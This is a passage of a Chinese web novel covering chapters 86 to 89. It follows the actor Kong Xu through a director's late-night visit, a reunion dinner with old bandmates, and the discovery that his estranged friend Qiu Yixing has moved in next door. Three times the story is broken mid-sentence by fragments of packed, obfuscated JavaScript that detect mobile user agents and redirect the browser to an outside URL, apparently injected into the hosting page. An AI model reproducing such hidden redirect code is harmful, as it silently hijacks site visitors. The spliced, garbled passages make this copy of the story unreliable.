那大概是四年前,孔栩提早一年修完学分回到了岚江,他开车回地下室时,发现一个黑影从他车身后一闪而过,当时他没有放在心上,结果隔了几天,又撞见了那个奇奇怪怪的黑影。 他不是第一次被跟踪,私生粉比他想得还要可怕,于是他将情况告诉了项汝怡,项汝怡隔天就给他配备了一名助理兼职保镖,别看唐烨精瘦得跟个猴似的,他可是武术学校毕业的,特别能打。 不管怎样,保护孔栩一个人是绰绰有余的,只要别像今天这样被百十来个人围攻,他一般都能解决。 孔栩沉默片刻,似在思索,随后他“嗯”了一声:“好,你帮我跟唐子宜说我这几天不去了。” 唐烨一愣,以为还得跟孔栩掰扯很长时间,孔栩会油盐不进固执己见让他别多管闲事,没想到他竟然这么轻易就答应了。 孔栩低头翻看手机。 陆笑蓉这个大嘴巴,将邱以星回到岚江的消息报告给了夏桃杉和陈颂。 于是沉寂七年的五人小群再度热闹起来。 笑容儿特别美:@邱以星大哥你什么时候回来的?改天约个饭,去陈年饭庄给你接风洗尘。 song:我这段时间都有空,时间你定。 桃子:?我就说这个群怎么突然活了。 笑容儿特别美:小木鱼在不在,在不在?@小木鱼 邱以星:大家,好久不见。 song:住的地方有着落了吗? 邱以星:有。 桃子:小木鱼人呢?他是不是要进组了? 邱以星:他在拍戏? 笑容儿特别美:啊,他拍电影呢。 他们在群里瞎聊了几千条消息,孔栩将消息从上滑到底,然后退出对话框,仰着头深深吸了口气。 已经过了好几天,群里的消息他一直没有回复,装作是没有看见,其他人也都知道他在装,默契地没有再追问他。 唐烨见状,立即问:“不舒服?” 孔栩:“没有。” 唐烨说:“那是怎么?” 孔栩惜字如金地说:“累。” “那你回去早点睡。”唐烨突然想起来一件事,“对了,刘导说想找你吃个饭,问你哪天方便。” 孔栩:“下周吧,这周我想在家歇着。” 刘导大名刘真,是他这部电影的导演,刘真不知道哪根筋没搭对,隔三差五叫孔栩去吃饭,坐下来又一句话不说,叫孔栩去吃饭就真的是吃饭,不搞些不三不四的人撑场子,就他们两个人坐着,一顿饭吃个半小时左右,吃完各自付账,走人。 直到刘真约他下次吃饭。 孔栩其实挺喜欢跟刘真在一块吃饭的,因为跟他吃饭纯粹是为了吃饭,脑子不用一边吃一边思考应付人的话,他可以完全放松,专注于眼前的饭菜。 不过他这几天没有心情,他想让自己静几天,将脑子里乱糟糟的思绪清理一下。 唐烨一直将他送到家门口,直到看见孔栩进门,他才转身离开。 孔栩这房子买了也有四年了,算是比较高档的那一类小区,绿化做得很好,中心还有一片很大的湖泊,从孔栩卧室的窗户看出去,能看见那一片湖泊椭圆形的朦胧的轮廓。 他住的这栋楼两梯两户,另一户正对着他家大门,不过他怀疑对门一直没卖出去,因为从来没有碰见过对门邻居。 孔栩洗了个澡,把长发吹得半干,拿着平板倒在床上刷短视频。 视频一个接一个地播放,如果仔细看,能看出他的视线没有聚焦,而是长时间处于一种涣散的状态里。 他看视频只是为了打发时间,视频里播放着什么他并不在意,过了一会儿,他听见视频里清晰地出现了某个人的声音,他顿时一惊,差点把平板给扔了。 平板上是一张放大的几乎找不到任何瑕疵的邱以星的脸,孔栩微微一怔。 播放的是很久之前邱以星唱歌的一段视频。大概是这几天热搜上一直挂着他们的名字,很多粉丝怀念过去的光5,在平台上传了他们歌曲的MV,还有参加过的各种综艺以及舞台的剪辑,大数据精准推送给了孔栩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290890|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他手指一点,将视频暂停,盯着静态的邱以星盯了几秒钟。 细看其实还是有变化的,过去邱以星还是少年人的姿态,他在脑中回忆后来见到的邱以星,他的肩背变得宽阔,身形也更加高挑,脸颊失去了最后一丝稚态,是个如假包换的成年男人了。 孔栩的眼珠微微一动,退出视频,将“邱以星”列为屏蔽词,把平板扔到一边。 他起身去客厅给自己倒了杯水,回身将电视机打开,电视里播着让陈颂拿了影帝的那部电影。孔栩并不看,只是想在空荡荡的屋子里制造出一些动静,让这个屋子里有人的气息,不再那么冷冰冰。 其实他的房子面积并不大,他也不喜欢太大的屋子,只是想有个属于自己的容身之地,他实在是搬家搬够了,少年时期住家里,后又在公司和出租屋里辗转,度过了几年大学宿舍生活,出来后发现自己像是个无家可归的流浪汉,能携带的东西竟然装不满一个行李箱。 这时他忽然听见大门外传来一点响动,孔栩抬头看过去,似乎对门有人住进来了。 孔栩想,他终于有邻居了,抬起脚就走到门边,看了眼镶嵌在墙壁上的可视门铃的屏幕,不过他看的时机不凑巧,只见对面那扇大门正缓缓合上,并没有看见新邻居的长相。 俗话说“远亲不如近邻”,孔栩幻想以后说不定还能和邻居成为朋友,互相去对方家里蹭饭吃。 孔栩的思绪不受控制越想越远,突然一声门铃将他失落在外的神魂叫了回来。 他第一时间反应,该不会是新邻居过来拜访的吧?可都这个点了,新邻居会不会太热情了一点? 孔栩又偏头看屏幕,看见刘真正笔直地站在门外。 刘真穿着件冰蓝色的休闲外套,大概是刚剃了头,头皮上只有一层短短的发茬,映得头皮发青,他表情素来不苟言笑,嘴唇紧紧抿成一条直线,周身散发出一股生人勿进的气场。 不过孔栩见惯了他这副模样,知道他为人和他外表表现的出来是两个样子。 他打开门,并没有直接放刘真进屋,反而站在门口问:“这么晚了,你来干什么?” 刘真看着孔栩,平铺直叙地说:“哦,我来问你有什么事,要推掉和我一起吃饭的计划。” 孔栩莫名:“我都没有答应你,怎么算是‘推掉计划’?” 刘真固执地要孔栩回答他:“你有其他事要做吗?” 孔栩抱着双臂,坦诚地回答:“没有。我只是不想出门。” 刘真说:“那我可以在你家里吃。” 孔栩:“你怎么能把蹭饭说得这么理直气壮?上门都不带东西的吗?” 刘真愣了一下,有些抱歉:“不好意思,我忘记了。我马上去买。” 孔栩很无奈地退后一步,让刘真进屋:“算了,你进来吧。” 刘真也真的毫不客气地进屋,在玄关换了拖鞋,孔栩在他身后说:“要不是我知道你什么德行,早就把你打出去了……” 他说着便将门关上,彻底隔绝了外部空间。 住在孔栩对门的住户望着猫眼,凝望他这边的动静。 一个陌生男人大晚上的来敲孔栩的家门,孔栩转身让这个人进了屋,一整个晚上,这个男人都没有出来。 87. 第 87 章 刘真不是第一回来孔栩家,孔栩坐在沙发上没有招呼他,让他自便。 这么晚过来,刘真大概率会借宿在他家里,孔栩无所谓,刘真席地都能睡着,随便给他一条毯子睡沙发就行。 刘真坐在孔栩身侧,孔栩则是靠着沙发安静地电影。 纵使这部片子他已经看过很多遍,但他每次看完都有新的理解,当年这部影片让两位主演荣获了影帝,也让陈颂这个初出茅庐的少年崭露头角,自此开启了他的电影之路。 孔栩表演经验非常之稀缺,他当演员当得并不认真,只是打发时间,去片场找陈颂玩,哪里缺了什么角色,他就临时顶上去。他对演员这行更多的是好奇心,不知道他们为什么能够扮演另外一个人扮演得像是娘胎里就与该角色相熟一样。 接刘真的这部电影,并不在他的计划之内,孔栩原本打算回学校读个研究生,要是顺利就继续读个博什么的,这些年干了不少行当,要说他呆着最舒服的还是学校。 但刘真的出现将他的计划打乱了,刘真请项汝怡帮忙牵线,问问孔栩有没有档期,想让他演一部电影。 项汝怡亲自看完剧本,觉得让孔栩演有点悬——主角是个花花公子人设,不过花花公子只是他的表象,他内里其实有性别认知障碍,与形形色色的人暧昧也是为了缓解自己内心的痛苦。 她觉得这么复杂矛盾的角色让孔栩演实在是白瞎,劝刘真换个有经验的演员,但刘真说这个角色非孔栩莫属。项汝怡一方面觉得这个刘真不太正常,另一方面认为孔栩未必会答应,于是把剧本发给他,让他姑且看看,不想演她会帮他推辞掉,没料到孔栩答应了。 刘真加了孔栩联系方式,一来二去就认识了,还隔三差五约孔栩吃饭,孔栩反正闲着也是闲着,本以为导演是想跟他探讨一下角色的深层内涵,结果刘真一句话没提电影的事,全程光顾着吃饭,甚至没跟孔栩说一句话。 孔栩心中纳罕,这人也太怪了。吃完饭回去查刘真资料,知道此人跟自己同龄,拍文艺片的,小有知名度,斩获过几个电影类的奖项,孔栩对这些奖所知甚少,不过起码知道了这人是个正经拍电影的,怪是怪了点,不过搞文艺的有几个不怪呢。 孔栩换了另外一部片子,室内的光被他调暗,他坐在沙发最角落,一只手握拳撑住腮,眉头紧锁,仿佛在思索某个重大的人生课题。 刘真就这样看了他片刻,电影的画面一闪,孔栩又微不可闻地用鼻子出了口气,刘真问:“你怎么了?” “现在我看电影,总希望从别的演员身上学到点什么,可没等我学到点什么,就开始担忧我会不会演砸。”孔栩目光没有离开屏幕,忧心忡忡地说,“刘导,能不能采访一下你为什么选择我?我扪心自问,浑身上下找不出一颗表演细胞,” 刘真说:“感觉。” 孔栩按下暂停键,不解地眨了下眼睛,看向刘真:“什么感觉?” 刘真却将头转过去了:“感觉你可以演。” 孔栩笑了笑,刘真这话讲得含糊,他纳闷地问:“我和‘仲奕’给你的感受是一样的?难道我看上去有那么不是东西?” “仲奕”是他演的角色名。 “不,”刘真想了想,“你见过满是裂纹的昂贵瓷器吗?就是那种感受。” “你可拉倒吧,”孔栩笑不出,打了个寒噤,“我只有挫败感。” “要我教你演吗?”刘真忽然说。 孔栩:“当然好,不过导演亲自授课,收费不低吧?” “不要你的钱,”刘真总觉得孔栩在某方面尤爱装傻充愣,“管我明天的饭就行。” 孔栩关了电视机,直接往地毯上一坐,他拍拍自己身旁的位置,让刘真也坐,满怀期待地问他:“你怎么教?是不是能把我教成陈颂那样的?” “你和陈颂不一样,他是观察型的,旁观他人生活就能领悟,是天才。”刘真说,“你是感受型,需要把自己带入角色,这些天你在酒吧有遇到什么有趣的见闻吗?听说你交了无数个男女朋友。” “连你也知道了?”孔栩略微有些脸热,“你不是说我是感受型?我去体验被人爱的感受,应该不犯法吧。” “可你应该不缺乏被人爱的感受。”刘真望着孔栩的眼睛,认真地说。 孔栩笑得前仰后合:“导演,你是不是太高估我了。” 刘真皱了下眉:“我在跟你说正事。” 孔栩稍微收敛了一下表情:“好吧好吧。” 刘真拿过一边的剧本,翻了几页,对孔栩说:“就演这段,我配合你。” 孔栩扫了一眼。他向来记性就很不错,剧本看了几遍就能熟背,刘真指的那段是仲奕与同性爱人分别的场景,这位情场浪子冷漠地对爱人说以后都不要再见面,他的爱人流着眼泪挽留他。 “好,来。”孔栩调整坐姿,与刘真面对面,干巴地说着台词,“嗯……别搞得这么难看,不是说了好聚好散么,钥匙我放花盆底下了,以后我不来了,你记得收起来。” 他膝盖一动,撑着沙发起身,被刘真猛地往后一拉,拽回原地,刘真的眼底闪动着一点晶莹的水波,语气中充满了卑微的祈求:“你别走……求求你别走。” 孔栩的内心被震了一下,导演都这么会演的么?他随即变得更加认真,满怀柔情地摸了下刘真的侧脸:“别的可以答应你,这个不行。” 刘真泛红地双眼盯着孔栩,攥着孔栩的手,哀切地说:“你说过你爱我!” “我当时是爱你的呀,但我也会爱别人,这是人之常情。”孔栩捧着刘真的脸,诚恳地说,“别哭了,为我这样的人不值得。” 仲奕与孔栩完全是两种人,仲奕今天爱一个,明天就能爱另外一个人,他是靠着名为“爱”的东西呼吸的。孔栩跟他不一样,也很难带入他的视角看这个世界,此刻刘真拉着他的手,突然间将他变成了那个人见人爱却又绝情到不讲道理的仲奕。 孔栩抬起刘真的下巴,用指腹抹掉他眼角的泪痕。 室内不甚明亮的光落在孔栩的脸上。他浓密的睫毛落下一小片阴影,看人时仿佛柔情万千,可经不起细看,细看就会发现他的眼神是没有丝毫温度的。他的头发松松地散开,此时也干了,不显得凌乱,有种模糊性别的美丽。 刘真望着这样的孔栩,手掌贴住他的脸颊,下意识凑了过来——这是个索吻的姿势,孔栩吓了一大跳,一只手猛地抵住刘真的肩膀,与此同时朝后一仰,避开了。 也是这个动作,将他们两人瞬间抽离出戏剧的氛围,孔栩愣了几秒钟,然后他站起身,往后退了一步:“导演,你越界了。” 刘真也懊恼自己一时的不清醒,对孔栩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303158|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“对不起,我应该提前告诉你。” 剧本里有这个情节,但刘真不应该在没有提醒孔栩的情况下做出这样的举止,这样未免太不尊重孔栩。 孔栩摇了下头:“我回房休息了,是走是留你自己看着办吧。” 孔栩不再看刘真一眼,带上房门并反锁,有些郁闷地往床上一倒,反省自己是不是有些应激,刘真应该只是单纯地在教他演戏。 他没郁闷多久,更令他郁闷的一通电话打了过来,来电人显示陈颂。 孔栩故意晾了他十几秒,快挂断才接:“喂?我马上要睡觉了,你是来给我唱摇篮曲的吗?如果不是什么重要大事,我建议你不要告诉我。” 陈颂带着笑意说:“别装傻,你知道我要说什么。” 孔栩直截了当:“不去。” 陈颂劝说:“来吧,我们五个人都七年没整整齐齐地聚在一起了,只是吃顿饭而已,不会把你怎么样。你要是不来,指不定陆笑蓉会怎么编排你,而且你这次不来,保不准还有下次,下下次,你都能拒绝吗?” 孔栩烦得不行,觉得自己晚上要做一宿噩梦,愤怒地说:“她还能怎么编排我?我又没有把柄在她手上,她编排的不该是我,而是另有其人吧!” “不管你怎么说,你必须得来,明天晚上七点在陈年饭庄,你要是不来,我就派十个彪形大汉去你家抓你过来,到时候你看热搜怎么写你。”陈颂说,“就这样,明天见。” “陈颂!我恨你!”孔栩咬牙切齿道。 “可以恨,但要来。”陈颂挂断了电话。 孔栩躺在床上翻来覆去彻底失去睡意,过了一个多小时,他幡然醒悟,凭什么我要夜不能寐,我什么都没做错,我有什么好睡不着的?于是他强迫自己闭上眼睛,数了两千多只羊才把自己数睡着。 早上醒来,孔栩发现刘真竟没走,他老老实实地在沙发上裹着毯子对付了一晚上。 冰箱里有速冻饺子,他下了一大袋,和刘真相对坐在餐桌前吃速冻水饺,菌菇三鲜味的,他们俩一人吃了两碗,孔栩蘸着调料,闭口不提昨晚发生的事,刘真也同样非常有默契地不说,吃完就起身要走。 孔栩想着自己毕竟要尽主人之谊,把刘真送到门口,挥了下手就算道了别。 他估计接下来很长一段时间刘真都不会再主动找他吃饭了,孔栩感觉得到,刘真也为此感到十分尴尬。 晚上六点半,唐烨来接孔栩去陈年饭庄,唐烨过来时,孔栩已经将自己收拾妥当。 他衣品向来不差,里面穿了件亨利领纯棉衬衫,松了两颗扣子,看得见若隐若现的锁骨,外面套着一件杏色牛仔外套,下身是同色系的宽松牛仔裤,头发高高绑起来,用鸭舌帽一扣,像个清清爽爽的大学生。 唐烨眼前一亮,随口问了句:“嚯,你要回学校?” 孔栩言简意赅地说:“陈颂说聚个餐。” 没理会唐烨的打趣,他一路无话,连手机都没碰。 到地方后,唐烨停好车,他打开车门,两只脚一落地面,紧随其后听见旁边一辆车发出关门的一声响动。 他把头一转,正巧对上一双漆黑如墨的眼睛。 邱以星朝他微微一点头,笑着打招呼:“小木鱼,晚上好啊。” 孔栩默默转过头,心里念叨说:阴魂不散。 88. 第 88 章 这位阴魂不散的人物加快脚步,三两步就走到孔栩身侧,唐烨眼一转就与邱以星的视线碰了个正着,他认出邱以星,有些惊讶地说:“哎,你不是……” “我是邱以星,你好。”邱以星朝他伸出一只手,唐烨忙不迭也伸手跟他握了一下:“我是孔栩的助理,唐烨。我知道你,我看过你们的视频。” 唐烨之前见过邱以星两回,都没有深入交流,孔栩似乎与他曾经有过什么过节,对他爱答不理,反观邱以星有点上赶着的意思。 邱以星把“助理”两个在嘴里咀嚼一番,五指用力地回握:“唐助理,幸会。” 唐烨被他的大力捏得面部微微扭曲,使劲将手抽回来,挂着假笑说:“幸会幸会。” 孔栩则是懒得理他们两个,径直往电梯里走,邱以星见了,直接扔下唐烨,大步跟过去。 唐烨真是一万个问号,也抬脚连忙跟上。 陈年饭庄十年如一日的装潢,低调而奢华,走廊两侧挂着世界各地画家的代表作品,一路都充满了艺术气息,暗红的地毯铺着,人踩上去毫无声响。 唐烨跟着孔栩来过不少次,算是这里的熟人,孔栩经常会来这跟朋友们吃便饭,他也顺带蹭顿饭,把大饭店当自家后厨,别提多美了。 不过唐烨也有自知之明,今天就没跟着进包厢,打算把孔栩送进门,自己随便找个地休息会儿。 孔栩却在这时叫住他,叮嘱说:“唐烨,你自己去吃点东西,要是太晚了就别等我了,我叫个车回家也一样。” 唐烨:“没事,我就在外面,你出来给我发个消息。” 孔栩没再多说,他推开包厢门,映入眼帘的是一盏硕大的水晶吊灯,照得屋里一片亮堂,像是缀了个大太阳,连着浅色的地面都反射出璀璨的光来。 他揉了下眼睛,微微不太适应地轻轻眨了眨,邱以星见状问:“怎么了?” 孔栩没应,自顾自在桌前坐下。 他还是来得太早,其他人都没到,邱以星在他身旁的位置坐下,孔栩食指在桌面上漫无目的地点了两下,邱以星将刚刚的问题又问了一遍:“你眼睛怎么了?” 孔栩垂下眼,头也不抬地回答他:“没什么。” 他相当郁闷,该来的没来,不该来的倒是来得分秒不差。 邱以星嘴唇动了动,似乎还想跟他说些什么,门外传来陆笑蓉和夏桃杉谈话的声音,多年不见,她的笑声仍然如此有穿透力。 陆笑蓉一身明黄的波点裙,灯泡似的闪啊闪的进了门,陈颂、夏桃杉紧随其后,陆笑蓉扬声夸张地对邱以星说:“我的妈呀,这位帅哥你谁啊?是不是走错门了?” 邱以星没好气地说:“你就不能正常点?” 陆笑蓉将小挎包挂在一旁,啪的往孔栩另一侧坐下,话语像水流一样从她嘴里倾泻而出:“我哪儿不正常了,我去体检,医生说我除了有颗蛀牙,什么毛病都没有。” 邱以星无言以对,陈颂重重按了下他肩膀,朝他笑笑:“好久不见。” 夏桃杉也伸手朝他小幅度地招了招:“好久不见啊邱以星,我们都很挂念你,这都多少年没见过了?” 陆笑蓉:“七年了都,小婴儿都要升一年级了。” 七年,弹指一挥间,过往仿佛在昨天,可这七年的光阴也切切实实在他们身上留下了痕迹。他们都已经不再是当初那几个无所顾忌的小孩,在漫漫人生路上迈出了一大步,不曾参与过他们人生的邱以星有些无所适从,不过很快,这奇异又和谐的新关系再度接纳了他。 好像他离开过的那些岁月被谁用剪刀剪开,无缝与他未离开时的日子粘贴到了一起。 陆笑蓉还是那副咋咋呼呼的样子,说她计划开演唱会,打算请他们来当嘉宾。 陈颂仰头深思,拉长语调:“这你得跟我经纪人商量,你要知道,我可不是谁请就会出场的,出场费怎么算?” 陆笑蓉真是烦死他这张狗嘴,看向夏桃杉:“桃子,我求你了,你在家替我锤他一顿解解气吧。” 夏桃杉便捅了陈颂一胳膊:“要什么出场费,蓉蓉还要当我伴娘呢。” 孔栩一直默不作声听他们谈天说地,耳朵眼里灌进来一个词汇,他抬头看向陈颂与夏桃杉:“‘伴娘’?你们要结婚了?” 陈颂便笑微微地当众牵住了夏桃杉的手,脸上洋溢着说不出的幸福:“是啊,前几天刚求婚,打算先订婚,你们几个伴郎伴娘一个都跑不了啊。” 这对从学生时代开始的恋情终于要修成正果,孔栩由衷地为他们感到高兴,举起手边的茶水,说:“祝你们永远幸福。” 夏桃杉的脸透着红晕:“嗯,谢谢。” 陆笑蓉早就知情,没像孔栩那样惊讶,有些感慨地说:“真没想到你们都要结婚了。” 又愤懑地说:“我竟然连个男朋友都没谈上!这到底是什么世道?” 孔栩闻言笑了一下:“你急什么,说明你的缘分还没找到你。” 陆笑蓉瞥了眼邱以星,往孔栩面前凑了凑,小声说:“你的缘分找到你了吗?” 孔栩说:“缘分?对我来说要找么,一抓一大把。” 陆笑蓉恨恨地一点他的脑袋,说:“小木鱼,别拉仇恨。” 话题从陈颂对婚礼的布置,到陆笑蓉演唱会巡演的城市,到孔栩要拍的电影,最后落到邱以星这些年干什么去了。 陆笑蓉对此是抓心挠肺地感兴趣:“哎,你老实说,你这几年在外面都干什么好事了?能让你一去不回头,连句话都没留下。” 邱以星的笑容淡了点,孔栩在他和陆笑蓉中间,丝毫不感兴趣地夹着菜,邱以星说:“瞎混,混不下去就回来了。” “你接下来有什么打算没有?”陈颂接着关切地说,“是回公司还是做别的,钱还够花吗?” 邱以星一手抵住额头,不禁笑了:“当然够花,我又不是小孩子,你别操心我的事,我心里有数。” 陆笑蓉又说:“那就好,你以后可千万别一声不吭就跑了,你都不知道小木鱼有多伤——” 孔栩踹了陆笑蓉一脚,把陆笑蓉接下来的话踹了回去,她脸上挂着尴尬的笑,又低头凑在孔栩耳边小声问:“祖宗,你俩还没和好呐?他上回去找你,你俩说什么了?我进门看你俩坐一起,以为你们商量好一起来的,还没——” 孔栩轻轻摇头,示意她不要再多说。 陆笑蓉微不可闻地叹了口气,她对内情并不十分了解,邱以星为什么突然离开,为什么突然回来,她一无所知,问陈颂,陈颂也是一问三不知。最难过的人莫过于孔栩,所以平时她也很少在孔栩面前提及邱以星,生怕触及他的伤心往事。 可那都是很久很久之前的事情了,如今她真拿不准这两人是怎么想的。 她话锋一转,习惯性地挂上那副看热闹的表情,问邱以星:“你有什么新情况没有?” 邱以星眉头挑起:“什么‘新情况’?” “装什么傻,陈颂和桃子都要结婚了,你呢?” “‘新情况’没有,”邱以星说,“‘旧情况’还没处理好呢。” 陆笑蓉很想深入与他探讨该问题,但邱以星轻飘飘地换了个话题:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆笑蓉:“我都要忘了你是Lian的忠实歌迷了,我如果能联系上他,保证给你要个签名回来。” 孔栩满意了:“这还差不多。” 邱以星抓住话头,对孔栩说:“我——” 他刚说一个字,孔栩突然扭脸面向陈颂,问他跟刘真熟不熟,把邱以星的话打了回去。 他们又聊了会有的没的,全程孔栩都心不在焉,他归心似箭,吃得太饱已经吃不下了,只能小口抿着茶喝。 终于大家都意兴阑珊,陈颂提议回家,孔栩第一个站起身,给唐烨发消息,让他来接自己。 陈颂和夏桃杉、陆笑蓉先行一步离开,孔栩站在门口稍稍等了片刻,邱以星落后一步,没话找话地说:“等你助理?” 孔栩点点头,是个不亲近,也不过分疏远的样子,也是他对所有陌生人的态度。 没等唐烨到来,他先等来一通电话,孔栩划了接听,他没来得及开口,电话那头响起一个脆生生的小孩音:“爸爸!” 邱以星的眼珠蓦地一动,朝他看过来。 只见孔栩微微掩住手机,往外走了两步,轻声说:“盼珠,怎么了?给你买的童话书,你看了吗?” 电话那头的声音听不真切了,叽叽咕咕也不知道在说些什么,说得孔栩终于有了一丝好心情,他愉悦地说:“好,谢谢你,你要早点睡,不然长不高。” 孔栩挂了电话,发现邱以星竟然还没走,邱以星面色显得苍白,他张口轻声问道:“你……有孩子了?” 89. 第 89 章 孔栩模棱两可地“啊”了一声,没有承认,也没有否认。 邱以星追问:“是结婚了?刚刚在里面怎么没听他们说?” 孔栩这次像是终于把他看到了眼里,他微微仰起脸,冷漠的琥珀色眼睛轻轻一眨:“怎么,你打算给我份子钱?” 邱以星艰难地张了张口:“我……” “不用了,”孔栩说,“我们生老病死各不相干,就不用人情往来故作客套了。” 说完,他朝唐烨走过去,留给邱以星一个毫不拖泥带水的背影。 孔栩全程安安静静地坐在车里,安静到沉闷的地步,唐烨注意到,问:“累了?” “还好。”孔栩想了想,“很久没跟他们见面了,有那么一瞬间,我感觉好像回到了高中那会。” 唐烨笑着说:“你是怀念以前的日子了。” 孔栩说:“没有怀念,现在更好。” 唐烨却不认同:“但你好像有点闷闷不乐……因为邱以星回来了?” 孔栩:“……” 唐烨看了眼后视镜,眉头一皱,又张口:“哎,邱以星那——” “你总提他干什么,”孔栩不耐烦地啧了一声,“他给你好处了?” 唐烨读懂了孔栩的不快,果断收住,老老实实地继续开车,全程再不说一句话,生怕这位一生气直接把自己给开了。 到孔栩家楼下,一如既往的,唐烨送孔栩上楼。 电梯即将合上之际,一只骨节分明的大手扶住电梯门沿,接着这人迈进一条腿,走了进来。 孔栩正垂着头,心不在焉的视线从这人不染尘埃的亮面牛津鞋移动至他被西装裤包裹住的大腿,又缓缓滑至此人腰间,白衬衫将此人身形完美地剪裁出来,透过衬衫,孔栩几乎能看见他紧实的腹肌。 身材真不错,不知道自己在健身房练多久才能练出来——这个念头甫一升起,待孔栩看清此人的脸,就如一团烟雾砰然炸开。 “你怎么在这?”孔栩的声音提高了一个度,怒道,“你跟踪我?!” 眼前正是阴魂不散的邱以星。 在陈年饭庄车库碰见,孔栩只觉得是偶然,没想到回家也能碰见他,除了邱以星跟踪他,孔栩不做他想。 叮的一声,显示到了孔栩的楼层,邱以星先行迈出电梯,站在门口说:“我住在这里。” 孔栩像是没听明白,茫然地看了唐烨一眼,又看向邱以星:“你说什么?” “我说我住在这里,”邱以星说,“你好邻居,以后请多关照。” “我关照你大爷!”孔栩终于绷不住了,他的冷静、涵养在此刻灰飞烟灭,“你就是住在我对门的人?” 邱以星无声地笑了一下:“嗯。” 孔栩:“全世界那么多地方你不住,你偏偏住我对面?你故意的是不是?” 邱以星敛起笑,一本正经地强词夺理:“我有什么好故意的,这里又不是只住着你一个人,再说了,怎么不说是你故意住在我家对面,我还没有追究你,你就别往我身上泼脏水了。” 唐烨在一旁哑口无言,还、还能这样的? 孔栩气得胸膛剧烈起伏,深呼吸好几个来回,还是没有压下去这腔怒火,又实在不想跟邱以星逞口舌之辩,便对唐烨说:“你先回去。” 唐烨有些犹豫,见孔栩刀子一般的眼神,他觉得自己再不走,即将目睹可怕的场景,于是连忙卷着尾巴跑了。 孔栩懒得跟邱以星废话,他甚至想好等他有空了,就重新找个地方搬走。 可又要搬家,他买房的意义就是受不了搬家,找到一个符合他心意的房子是那么困难,再说他住在这里已经住出了感情。 他烦躁值升至顶点,大门的指纹识别半天没识别出来,他只好摘了帽子,将脸露出来,进行面孔识别。 不幸的是,仍然没有识别出来,门锁没有丝毫反应,人站在前面也没有语音提醒,像是没电了。 更不幸的是,孔栩从来不带钥匙和充电宝。 被现代科技摆了一道,孔栩无语至极,想打电话问唐烨带没带充电宝,然后一直在旁边的邱以星说话了:“怎么了?进不去吗?” 孔栩心说你瞎吗?这么明显看不出来。 “来我家坐会儿吧,我给你找找充电宝。”邱以星说着打开自家大门,循循劝道,“别折腾了,你助理估计已经开车走了,叫他回来也麻烦,都这么晚了。” 这话说到了孔栩心里,他确实不愿意大晚上的麻烦唐烨,二十多岁的男孩子,成天随叫随到,没半句怨言,因为这份工作到现在连个女朋友都没有,孔栩其实挺过意不去的。 过了两秒钟,孔栩仰着头盯住邱以星,倨傲地命令道:“快点找!” 邱以星不再劝孔栩进来坐,直接去找充电宝,找了片刻,邱以星出来了,拿着一块白色充电宝,连上充电线插进门锁底部的插孔。 孔栩屏息,静静注视门锁的动静,他担心不是没电而是门锁坏了。 不过好在他的担忧纯属多余,五秒之后,门锁识别出他的脸,自动打开了。 邱以星说:“你记得充电,以后也要记得带钥匙,以防万一。” 孔栩嘟囔:“我知道了,啰嗦。” 他走进大门,想了想,还是对邱以星说:“谢谢。” 邱以星笑了一下,得寸进尺道:“那要不请我进去坐坐喝杯水?” “你家没有吗?回你自己家喝去!”孔栩嘭的一声关上门。 碰了一鼻子灰的邱以星无奈地扯了扯嘴角,孔栩发脾气的样子跟过去简直一模一样。 孔栩回屋后,立即给门锁充上电。 门锁有电了,但他本人电量已耗光,直挺挺地躺倒在松软的沙发上,长长地发出一声叹息。 对门的邱以星令他如芒刺背,孔栩不认为他住在这里是个巧合。 那他是挑衅?是在故意激怒他……还是别的什么原因? 孔栩不愿意深入思考,给唐烨发了条信息,让他帮自己留意一下岚江市这几年新开盘的房源,最好一梯一户,别墅也行,房子半径一百米内没有其他住户的那种。 他惹不起总是躲得起,搬就搬吧,大不了重新适应,总比伤筋动骨死过一次的滋味强得多。 第二天,孔栩准时七点起来给自己做早饭吃。 他煮咖啡的手艺是跟唐子宜酒吧的调酒师学的,他学什么都能很快上手,甚至还能拉个精美拉花。今天他做了西式的早餐,端来放客厅的长形茶几上一边看电视一边吃早饭。 孔栩盘腿坐在白色地毯上,深深吸了一口咖啡浓郁醇厚的香气,觉得精神为之一振。 美好的一天,从早饭开始,他叉起一块煎得金黄的煎蛋,正要吃,便听见对门传来一声响动,是关门的声音。 孔栩吃着煎蛋,不予理会,就着早餐看完了一集美剧,端着盘子去洗。 他洗完回来接着看剧,过了一个多小时,对门又传来一声响动。 孔栩关了电视,换上了一套蓝白色的运动套装,打算去小区楼下跑几圈。然后收到唐烨发来的几套房的资料,他办事效率很高,这几套房都是按照孔栩的标准找的,孔栩回他:“我先看看。” 他在楼下溜达到十点半,微微带着汗回来了,然后看见邱以星像一根木桩站在他家门口。 孔栩眉头皱着,上前问道:“你干什么?” 邱以星面色露出一丝为难:“能不能跟你借点盐?” 孔栩:“你要驱邪?” 邱以星:“……我在做饭,早上出门忘买了。” 孔栩点了下头:“行,我拿给你。” 